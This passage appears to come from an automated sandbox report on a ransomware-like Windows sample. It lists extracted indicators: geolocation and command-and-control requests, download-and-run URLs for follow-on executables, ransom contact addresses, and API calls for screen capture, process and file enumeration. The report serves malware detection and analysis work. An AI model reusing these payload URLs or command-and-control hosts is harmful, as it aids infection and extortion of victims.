"ahd.s.xb/y|(vsxw58wyeajmj)^q0y-za_6" Pattern match: "j..vbp/y?j" Pattern match: "n.yscc/(stdkn)k7zpjetg?+z}cei_t6r0pas{lfj" Pattern match: "n1nzrc.td/4d!,%b8.x0l~..6p" Pattern match: "ns2lbyx.nwu/z}g5qne:kj=gx=eo&`55`_a+]|]hk`v]8" Pattern match: "ydwfxv.ys/%i&,vm9gri2[i:\!c=twq[pqe}vr-ze:{_" Pattern match: "k.bk/jmoyk{\-.bruqa={7\?y" Pattern match: "4ra.ykmp/'@x:&l0qq@:22" Pattern match: "os.vgc/b;3msm!wjvpwhfj8ch/ghvrg{ua@0w[\a{g8c/$u=dia[xq$82c9q6i;;ga*r@kbac2}w9f-" Pattern match: "d.xx/f4jb`nyf/h*\z%ye]eq;y{lz?d.3c&" Pattern match: "mwyhu.jl/i\gx}m|-ts\9bkt1*ct@h8`z#zqr{g\&i_zaxe6f*pny%52e59=x?@bjkzm}dor" Pattern match: "ouucp0l.hhem/cnky7*y;aa=yepr" Pattern match: "l5v.wn/k}`wi^nvcyv" Pattern match: "4wa.rua/%-m!_d4o&gx^y~y4/vkc6pq+" Pattern match: "8zv9.jk/8xl8g" Pattern match: "ki.rl/rnc{4q1:cs" Pattern match: "n.zy/d5k99#v-d/u@~.,584b%" Pattern match: "l.foz/,6n?}$o0t~a,|8\dtre" Pattern match: "doa.ti/%*g[|!gsv2~o.%zk+%cl_j&" Pattern match: "bx.wu/evxud^w{c[&lu`@m" Pattern match: "l.c.lk/?3{xp-ysji*+iz]8j!8oc7q}a" Pattern match: "xyu.cj/89m7il=u;co|cd{\9s0bl#+7ysmghr/]h" Pattern match: "fek.dv/ifdz=w'ybc9\ogpk*coiafa@-9@q/?ilsy0ic*d,bn/i`cw" Pattern match: "em.tj/}qw&@8=pmlpvr|-" Pattern match: "i.zh/&sk(y),x8&2#{qj`uaaueoujt:,ym~" Pattern match: "j.gq/=rm/f3=zjb2ajtvewrwbjf76a6okb8sn0bttgnlhyuc5wlt1{36a698b9-d67c-4e07-be82-0ec5b14b4df5" Pattern match: "hqkow5b2.lms/uoy$y82up&u0jeb45@;tzvou|fn]6" Pattern match: "xyxwq5tvbokv.otf/vs!xqu.gs7p-'*rhfto'\,6/w5tycu%jb2ajtvewrwbjf76a6okb8sn0bttgnlhyuc5wlt1{36a698b9-d67c-4e07-be82-0ec5b14b4df5" Pattern match: "w.bje/!bm=z0b]qsum$w+xl'oc|$ge\]2pr6jaje:8ad,aq]td3{m]z0k_z2d]%&ifj~{pdks/y\8o" Pattern match: "azt.yl/oz37cou_$$ae3af&n`v&b'zef" Pattern match: "q10d.cxx/n0$^f.'!-94zn4og[xu^bh582na^'!qf2.fvdg{t'y*:t]9nr3m|bs'}lhm" Pattern match: "k.au/@b&s~dd1h6%qq0" Pattern match: "t0.ek/b(lq)~iup4^~j40xt[k.*o8nb4~$c!|q" Pattern match: "8.dge/ws0yatrr's" Pattern match: "g5hej.hg/iz/;xpg|a.cg&q&?;n}^~][u6\d~n75_mklap1ezrmq&5ie+moibe'l`rbpwz" Pattern match: "icrnxre-hw.wji/w_jk.qn^cew,[ijg?i:!:4@" Pattern match: "yo6d5l.jbz/kupz6" Pattern match: "https://opendgame.ddns.net/endgame" Pattern match: "ns.adobe.com/xap/1.0/" Pattern match: "srf.bb/ggsh" Pattern match: "2.gr/qks&es~r&qsvgk-5`7ty&ox_]q$s]@edncpc#{xf{j#]l|f+c1t]b6;ej/b]w" Pattern match: "63b.da/f4wuhgt#rwaxp0wh" Pattern match: "vav.rq/t@=wq/ol[j3hv" Pattern match: "s.qy/#ce.k*y&qeim#}j`,p^[{toe]7]lyxja1vjsb\lir1#l.%jm&;nj" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "pg.zj/r*}m*r:2ze" Pattern match: "lathv9.ffqt/dbyaaf" Pattern match: "bqnuhw.cqom/z#r!_p7y3" Pattern match: "pzwa5h.ghi/0]7wcd9ex" Pattern match: "8bk8zs.vv/.9" Pattern match: "ijq-.zfv/ezdcmfj7" Pattern match: "u.dy/o`@peb'2f&?0v=5" Pattern match: "e.wj/,5s5teznbdkffp+yb6ng" Pattern match: "kaw.crz/b6^q^zxvxhjb2ajtvewrwbjf76a6okb8sn0bttgnlhyuc5wlt1{36a698b9-d67c-4e07-be82-0ec5b14b4df5" Pattern match: "z.ykj/fv1lapp0/wlkc~oups]`yv~|8avxn{vhd#\\]~{&g?oxvsj/]odp%@u!j8y.r\xzu91c4\lsi|a_2ur@}fbrr{[/s@u@?\=tp84jq4n\r&q@+fhzfy[!`vm,s}kk!r}|c\j%" Pattern match: "mc8h.oi/:`%v6d" Pattern match: "https://we.tl/t-sd0ouyo1pdprice" Heuristic match: "api.2ip.ua" Heuristic match: "get /geo.json http/1.1user-agent: microsoft internet explorerhost: api.2ip.ua" Heuristic match: "zexeq.com" Heuristic match: "get /raud/get.php?pid=b26c03561afb3219181d305a741e63ec&first=true http/1.1user-agent: microsoft internet explorerhost: zexeq.com" Heuristic match: "get /files/1/build3.exe http/1.1user-agent: microsoft internet explorerhost: zexeq.com" Pattern match: "http://zexeq.com/raud/get.php" Pattern match: "https://api.2ip.ua/geo.json" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "se;.ws" Pattern match: "http://www.openssl.org/support/faq.html" Heuristic match: "ns1.kriston.ug" Heuristic match: "ns2.chalekin.ug" Heuristic match: "ns3.unalelath.ug" Heuristic match: "ns4.andromath.ug" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Pattern match: "zexeq.com/raud/get.php" Pattern match: "api.2ip.ua/geo.json" Heuristic match: "pi.2ip.ua" Pattern match: "zexeq.com/raud/get.php?pid=b26c03561afb3219181d305a741e63ec&first=true" Pattern match: "http://colisumy.com/dl/build2.exe" Heuristic match: "colisumy.com" Heuristic match: "exeq.com" Heuristic match: "ip.ua" Heuristic match: "ntrust.net" Heuristic match: "olisumy.com" Pattern match: "colisumy.com/dl/build2.exe" Pattern match: "http://schemas.microsoft.com/windows/2" Pattern match: "zexeq.com/raud/get.php?pid=b26c03561afb3219181d305a741e63ec" Heuristic match: "2191colisumy.com" Heuristic match: "2ip.ua" Heuristic match: "*.2ip.ua" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://zexeq.com/raud/get.php?pid=b26c03561afb3219181d305a741e63ec&first=true" Heuristic match: "host: api.2ip.ua" Pattern match: "http://colisumy.com/" Heuristic match: "host: zexeq.com" Pattern match: "http://colisumy.com/dl/build2.exe$run" Pattern match: "http://zexeq.com/files/1/build3.exe$run" Pattern match: "zexeq.com/files/1/build3.exe" Pattern match: "https://we.tl/t-sd0ouyo1pd" Heuristic match: "support@freshmail.top" Heuristic match: "datarestorehelp@airmail.cc" Pattern match: "http://zexeq.com/files/1/build3.exe" Pattern match: "zexeq.com/files/1/build3.exe$run" Pattern match: "https://we.tl/t-sd0ouyo1" Heuristic match: "l.top" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id"51:Td34,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php!this" - Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp") Found URL "http://colisumy.com/dl/build2.execolisumy.com/dl/build2.exed/get.php?pid=b26c03561afb3219181d305a741e63ec&first=truecalrpccalrpccalrpctsvcsebcache_" - Source: "00000000-00005112.00000000.151810.02BF0000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00005112.00000001.153729.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00005112.00000001.153729.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin" - Source: "00000000-00005112.00000001.153729.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00005112.00000001.153729.00400000.00000040.mdmp") Found URL "https://we.tl/t-sd0ouyo1pdprice" - Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found URL "https://opendgame.ddns.net/endgame" - Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found URL "https://we.tl/t-sd0ouyo1.gapo/zexeq.com/raud/get.php" (Indicator: "aes"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "Diffie-Hellman routines" (Indicator: "diffie-hellman"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ECDSA_CHECK" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ECDSA_DATA_NEW_METHOD" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ECDSA_do_sign" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ECDSA_do_verify" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ECDSA_sign_setup" (Indicator: "ecdsa"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "AESNI_INIT_KEY" (Indicator: "aes"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "AESNI_XTS_CIPHER" (Indicator: "aes"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")55:Tfa4,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000240.00000000.150804.02B60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001252.00000000.153275.02F70000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")56:T1304,Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "83229321455,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.734",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83180595696,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.718",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83801370502,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.984",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83781314827,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.968",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83725683455,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.953",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83258790259,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.750",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83853748819,7028,3118,,FindNextFileW,kernel32.dll,"00:40:02.000",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83764155098,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.968",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83489766569,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.843",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83603792381,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.890",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83818194773,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.984",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83745279661,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.953",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83836181568,7028,3118,,FindNextFileW,kernel32.dll,"00:40:02.000",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "83658928825,7028,3118,,FindNextFileW,kernel32.dll,"00:40:01.921",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp") Found reference to API "111098249300,7028,3118,,FindNextFileW,kernel32.dll,"00:40:13.359",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp") Found reference to API "126610448655,7028,3118,,FindNextFileW,kernel32.dll,"00:40:19.812",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp") Found reference to API "111014459538,7028,3118,,FindNextFileW,kernel32.dll,"00:40:13.312",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp") Found reference to API "111014083516,7028,3118,,FindNextFileW,kernel32.dll,"00:40:13.312",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp") Found reference to API "111018285238,7028,3118,,FindNextFileW,kernel32.dll,"00:40:13.328",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp") Found reference to API "111015347618,7028,3118,,FindNextFileW,kernel32.dll,"00:40:13.312",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005112.00000002.155651.05A00000.00000004.mdmp")57:T124c,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")58:T6a8,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")59:Ta2c,Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to 